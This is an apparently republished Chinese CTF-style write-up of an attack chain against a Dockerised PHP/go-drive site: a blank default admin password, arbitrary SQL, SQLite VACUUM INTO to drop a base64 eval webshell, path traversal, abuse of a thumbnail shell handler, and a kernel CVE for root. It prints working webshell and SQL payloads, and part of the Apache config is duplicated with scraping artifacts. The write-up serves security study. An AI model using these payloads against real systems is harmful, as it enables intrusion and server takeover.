空密码后台→SQLite落地Webshell→内核CVE-2026-31431root

admin 2026-05-16 06:53:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了一个安全漏洞利用链:通过空密码直接进入后台管理系统,利用SQL语句执行功能实现SQLite数据库操作并落地Webshell,最终结合内核CVE-2026-31431漏洞提升至root权限。文章详细展示了Docker环境配置、代码审计过程、密码验证绕过手法及SQL注入点利用方法,提供了完整的渗透测试路径和漏洞复现技术细节。 综合评分: 88 文章分类: 漏洞分析,渗透测试,WEB安全,红队,内网渗透


cover_image

空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

原创

YMsora YMsora

YMs0ra的安全漫路

2026年5月12日 21:53 浙江

在小说阅读器读本章

去阅读

看看主站是什么

Your site is working normally! Access data at /data, or new site at /new

没发现端倪,附件只给了个docker,去看看

RUN&nbsp;cd&nbsp;/var/www/html && \&nbsp;rm&nbsp;-rf ./* && \&nbsp;git&nbsp;clone&nbsp;--depth=1 https://github.com/mnihyc/dlsite.git . && \&nbsp;touch&nbsp;index.html && \&nbsp;sed -i&nbsp;'9 i Your site is working normally! Access data at <a href="/data/">/data</a>, or new site at <a href="/new/#/_/test">/new</a>'&nbsp;dl/index.html && \&nbsp;ln&nbsp;-s /app/data/local/test dl/data && \&nbsp;sqlite3 db.sqlite&nbsp;"CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));"&nbsp;&& \&nbsp;chown&nbsp;-R root:www-data . && \&nbsp;find . -type&nbsp;d -exec&nbsp;chmod&nbsp;1775 {} + && \&nbsp;find . -type&nbsp;f -exec&nbsp;chmod&nbsp;0664 {} +

这里看到后端是

并且继续往下,

RUN&nbsp;cat&nbsp;> /etc/apache2/sites-available/000-default.conf <<'EOF'<VirtualHost *:80>&nbsp;ServerAdmin webmaster@localhost&nbsp;DocumentRoot /var/www/html
&nbsp;RewriteEngine On&nbsp;RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$))&nbsp;RewriteRule ^ /main.php [L]
&nbsp;<Directory /var/www/html>&nbsp;Options FollowSymLinks&nbsp;AllowOverride None&nbsp;Require all granted&nbsp;</Directory>
&nbsp;<FilesMatch \.phpRUN&nbsp;cat&nbsp;> /etc/apache2/sites-available/000-default.conf <<'EOF'<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html RewriteEngine On RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$)) RewriteRule ^ /main.php [L] <Directory /var/www/html> Options FollowSymLinks AllowOverride None Require all granted </Directory> <FilesMatch \.php$> SetHandler&nbsp;"proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"&nbsp;</FilesMatch> <Directory /app/data/local/test> Options FollowSymLinks AllowOverride None Require all granted </Directory> ProxyPreserveHost On <LocationMatch&nbsp;"^/ancient$"> SetHandler&nbsp;"proxy:unix:/run/apache2/ancient.sock|fcgi://localhost"&nbsp;ProxyFCGIBackendType GENERIC ProxyFCGISetEnvIf&nbsp;"true"&nbsp;SCRIPT_FILENAME&nbsp;"/app/data/local/test/index.cgi"&nbsp;ProxyFCGISetEnvIf&nbsp;"true"&nbsp;SCRIPT_NAME&nbsp;"/ancient"&nbsp;</LocationMatch> Alias /ancient/ /app/data/local/test/ ProxyPass /new http://127.0.0.1:8089/new ProxyPassReverse /new http://127.0.0.1:8089/new ErrorLog&nbsp;${APACHE_LOG_DIR}/error.log CustomLog&nbsp;${APACHE_LOG_DIR}/access.log combined</VirtualHost>EOFgt;&nbsp;SetHandler&nbsp;"proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"&nbsp;</FilesMatch>
&nbsp;<Directory /app/data/local/test>&nbsp;Options FollowSymLinks&nbsp;AllowOverride None&nbsp;Require all granted&nbsp;</Directory>
&nbsp;ProxyPreserveHost On&nbsp;<LocationMatch&nbsp;"^/ancient$">&nbsp;SetHandler&nbsp;"proxy:unix:/run/apache2/ancient.sock|fcgi://localhost"&nbsp;ProxyFCGIBackendType GENERIC&nbsp;ProxyFCGISetEnvIf&nbsp;"true"&nbsp;SCRIPT_FILENAME&nbsp;"/app/data/local/test/index.cgi"&nbsp;ProxyFCGISetEnvIf&nbsp;"true"&nbsp;SCRIPT_NAME&nbsp;"/ancient"&nbsp;</LocationMatch>&nbsp;Alias /ancient/ /app/data/local/test/
&nbsp;ProxyPass /new http://127.0.0.1:8089/new&nbsp;ProxyPassReverse /new http://127.0.0.1:8089/new
&nbsp;ErrorLog&nbsp;${APACHE_LOG_DIR}/error.log&nbsp;CustomLog&nbsp;${APACHE_LOG_DIR}/access.log combined</VirtualHost>EOF

ache将main.php后跟着的现存目录都重定向回去,.php走socket直接给php-fpm

接下来就是审计后端

if(!OLDSTYLE_PATH || SUPPORT_NEWPATH)&nbsp;{&nbsp;$ismanage=($opath=='/manage');&nbsp;if($opath=='/view'&nbsp;||&nbsp;$opath=='/down'&nbsp;||&nbsp;$opath=='/manage')&nbsp;{&nbsp;$ropath='';&nbsp;if(substr($inpasswd,0,2)=='p=')&nbsp;{&nbsp;$ropath=substr($inpasswd,2);&nbsp;if($ismanage)&nbsp;$inpasswd='manage';&nbsp;else&nbsp;$inpassver=isset($_POST['pass']);&nbsp;if(($vpos=strpos($ropath,'&'))!==FALSE)&nbsp;{&nbsp;$inpasswd=substr($ropath,$vpos+1);&nbsp;$inpassver|=!empty($inpasswd);&nbsp;$ropath=substr($ropath,0,$vpos);&nbsp;}&nbsp;}

如果请求是/mange,覆盖$inpasswd=’manage’;

然后截取的就是密码字段,接着就是

if($inpasswd==='manage')&nbsp;{&nbsp;ob_start();&nbsp;htmlmsg();&nbsp;if(checkmanagepassword())&nbsp;{&nbsp;/* Insert a record */&nbsp;if(isset($_POST['qi']))&nbsp;{&nbsp;global&nbsp;$db;&nbsp;$db->execwf("INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES ('{$db->escapeString($_POST['namei'])}','{$db->escapeString($_POST['typei'])}','{$db->escapeString($_POST['valuei'])}')");&nbsp;}&nbsp;/* Delete a record */&nbsp;if(isset($_POST['qd']))&nbsp;{&nbsp;global&nbsp;$db;&nbsp;$db->execwf("DELETE FROM CONFIG WHERE NAME='{$db->escapeString($_POST['named'])}' AND TYPE='{$db->escapeString($_POST['typed'])}'");&nbsp;}&nbsp;/* Update a record */&nbsp;if(isset($_POST['qu']))&nbsp;{&nbsp;global&nbsp;$db;&nbsp;$db->execwf("UPDATE CONFIG SET VALUE='{$db->escapeString($_POST['valueu'])}' WHERE NAME='{$db->escapeString($_POST['nameu'])}' AND TYPE='{$db->escapeString($_POST['typeu'])}'");&nbsp;}
&nbsp;if(is_dir(__DIR__.FILE_DIR.$opath) &&&nbsp;substr($opath,-1,1)!=='/')&nbsp;$opath.='/';&nbsp;$qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";&nbsp;if(isset($_POST['sql']) && !empty($_POST['sql']))&nbsp;$qsql=$_POST['sql'];&nbsp;$qnamei=$opath;&nbsp;if(isset($_POST['qi']) &&&nbsp;isset($_POST['namei']) && !empty($_POST['namei']))&nbsp;$qnamei=$_POST['namei'];&nbsp;global&nbsp;$db;&nbsp;$res=$db->queryarr($qsql);

发现在checkpassword的时候

function&nbsp;checkmanagepassword()&nbsp;{?><div class="table-responsive">&nbsp;<table class="table table-striped table-sm">&nbsp;<thead>&nbsp;<tr>&nbsp;<th class="d-table-cell">&nbsp;<div class="container">&nbsp;<p class="lead text-center">A <strong>password</strong> verification is required to access this page. <br></p><?php&nbsp;$passvld=true;&nbsp;if(isset($_POST['manage']))&nbsp;{&nbsp;$_SESSION['manage']=gethashedpass($_POST['manage']);&nbsp;$_SESSION['expired']=time();&nbsp;}
&nbsp;if(!isset($_SESSION['expired']))&nbsp;$passvld=false;&nbsp;else&nbsp;if(abs(time()-$_SESSION['expired'])>=3600*24)&nbsp;{&nbsp;$passvld=false;&nbsp;echo&nbsp;'<p class="lead text-center">Verification <span style="color: red;"><strong>expired</strong></span>.</p>';&nbsp;}&nbsp;else&nbsp;{&nbsp;if($_SESSION['manage']===MANAGE_PASSWORD)&nbsp;{&nbsp;$passvld=true;&nbsp;echo&nbsp;'<p class="lead text-center">Verification <span style="color: green;"><strong>passed</strong></span>.</p>';
&nbsp;}&nbsp;else&nbsp;{&nbsp;$passvld=false;&nbsp;echo&nbsp;'<p class="lead text-center">Verification <span style="color: red;"><strong>failed</strong></span>.</p>';&nbsp;}&nbsp;}&nbsp;if(!$passvld)&nbsp;{?>

直接

if($_SESSION['manage']===MANAGE_PASSWORD)&nbsp;{&nbsp;$passvld=true;

就可以返回true

而这个默认的密码是空密码

/* Encrypted password of the management page (keep it SECRET) */&nbsp;/* The way to compute: md5(md5(PSWD).'+'.sha1(PSWD)) */&nbsp;/* Default value 7f6d747029adeefe073804e34b089020 means blank password */&nbsp;define('MANAGE_PASSWORD','7f6d747029adeefe073804e34b089020');

在直接传入/mange?p=,密码字段滞空,就会让check直接返回true,进入后台,审计下后台可做操作

这里

if(is_dir(__DIR__.FILE_DIR.$opath) &&&nbsp;substr($opath,-1,1)!=='/')&nbsp;$opath.='/';&nbsp;$qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";&nbsp;if(isset($_POST['sql']) && !empty($_POST['sql']))&nbsp;$qsql=$_POST['sql'];&nbsp;$qnamei=$opath;&nbsp;if(isset($_POST['qi']) &&&nbsp;isset($_POST['namei']) && !empty($_POST['namei']))&nbsp;$qnamei=$_POST['namei'];&nbsp;global&nbsp;$db;&nbsp;$res=$db->queryarr($qsql);

$qsql可以直接进行sql语句执行

这样,我们可以执行sql语句,那么怎么落地文件呢,这里要回到sqlite本身的语法

在上面已经看到过config的示例表了,直接可以插入字段,一共三个字段

在第一段插入php代码,但是如何落地

VACUUM INTO filename;语法

是可以将现在的数据库文件直接复制一份到指定目录的

虽然大部分都是二进制,但是我们其中的php代码不会被转义

我们将这个文件命名后缀为php然后

INSERT&nbsp;OR&nbsp;REPLACE&nbsp;INTO&nbsp;CONFIG (NAME, TYPE,&nbsp;VALUE)VALUES&nbsp;(&nbsp;'sora_payload',&nbsp;'php',&nbsp;'<?php file_put_contents("/var/www/html/dl/ws.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+"));?>');

这样就可以将base64编码后的webshell直接插入可访问的目录

达成基础的php rce,但是如何上升系统,因为php端有很多限制

open_basedir =&nbsp;/var/www/html:/tmp:/app/data/local/testdisable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ...

可以看看docker配置的第二部分

被app直接拉起来,并且

[program:go-drive]command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.shdirectory=/appuser=apppriority=30autostart=trueautorestart=truestartsecs=0stdout_logfile=/dev/fd/1stdout_logfile_maxbytes=0stderr_logfile=/dev/fd/2stderr_logfile_maxbytes=0

并且autorestart=true,这里可以看看重启的用户和这个框架重启的逻辑

localRoot, _ := driveUtils.Config.GetLocalFsDir()path, _ = filepath.Abs(filepath.Join(localRoot, path))if exists, _ := utils.FileExists(path); !exists {&nbsp;return nil, notFound}return &Drive{path}, nil

这里并没有检查filepath是否有路径穿越,而这又不是php配置的内容,所以可以绕开php.ini的封锁

新建 fs drive 时填:

../../../../app

filepath.Join(“/app/data/local”, “../../../../app”)

最后会变成:

/app

所以我们可以通过new去挂载服务器的目录到后台,有点像访问指向

所以把管理略缩图的config挂载之后下载之后改

thumbnail:&nbsp;handlers:&nbsp;-&nbsp;type: shell&nbsp;tags:&nbsp;file-types: cmd&nbsp;config:&nbsp;shell: sh /tmp/cmd.sh&nbsp;mime-type: text/plain&nbsp;write-content:&nbsp;false&nbsp;max-size: -1&nbsp;timeout: 30s

shell指的是这个类型用shell处理

也就是:生成缩略图时,可以执行外部命令。

并且定义后缀为cmd,也就是说当cmd后缀时

调用sh /tmp/cmd.sh,并且返回text

因为 PHP 的 open_basedir 允许 /tmp,所以可以用 ws.php 写:

file_put_contents("/tmp/cmd.sh",&nbsp;"id\nwhoami\nuname -a\n");file_put_contents("/tmp/probe.cmd",&nbsp;"");

于是也就拿到了系统命令的RCE,但是依旧是要提权的

当然在这之前,配置项的文件虽然改变了,但是实际上内存还是没有变化的,

依旧需要重启这个服务,这里就要提到让这个go的程序崩溃的方法了

一个方法就是调用动态脚本处理文件,

再非预期去返回flase,

func&nbsp;(d *ScriptDrive)&nbsp;Save(...)&nbsp;error&nbsp;{&nbsp;result := runJS(...)&nbsp;return&nbsp;result}

这里的result如果是none在后面做path的时候就会

panic: runtime error: invalid memory address or nil pointer dereference

提权阶段,

依旧是看看suid,以及其他的服务有没有

但是这里的服务是通过no_prive起的,并且

struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter };&nbsp;if&nbsp;(argc <&nbsp;2)&nbsp;return&nbsp;127;&nbsp;if&nbsp;(prctl(PR_SET_NO_NEW_PRIVS,&nbsp;1,&nbsp;0,&nbsp;0,&nbsp;0))&nbsp;return&nbsp;126;&nbsp;if&nbsp;(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog))&nbsp;return&nbsp;126;&nbsp;execvp(argv[1], argv +&nbsp;1);&nbsp;return&nbsp;127;}

这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限

所以当前是没法进行直接su的

我尝试了最近的核弹检测POC, CVE-2026-31431

ta的内核并未打补丁,成功提权

当然。此类CVE解析很多,就不赘述了


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:YMs0ra的安全漫路 YMsora YMsora《空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root》

评论:0   参与:  0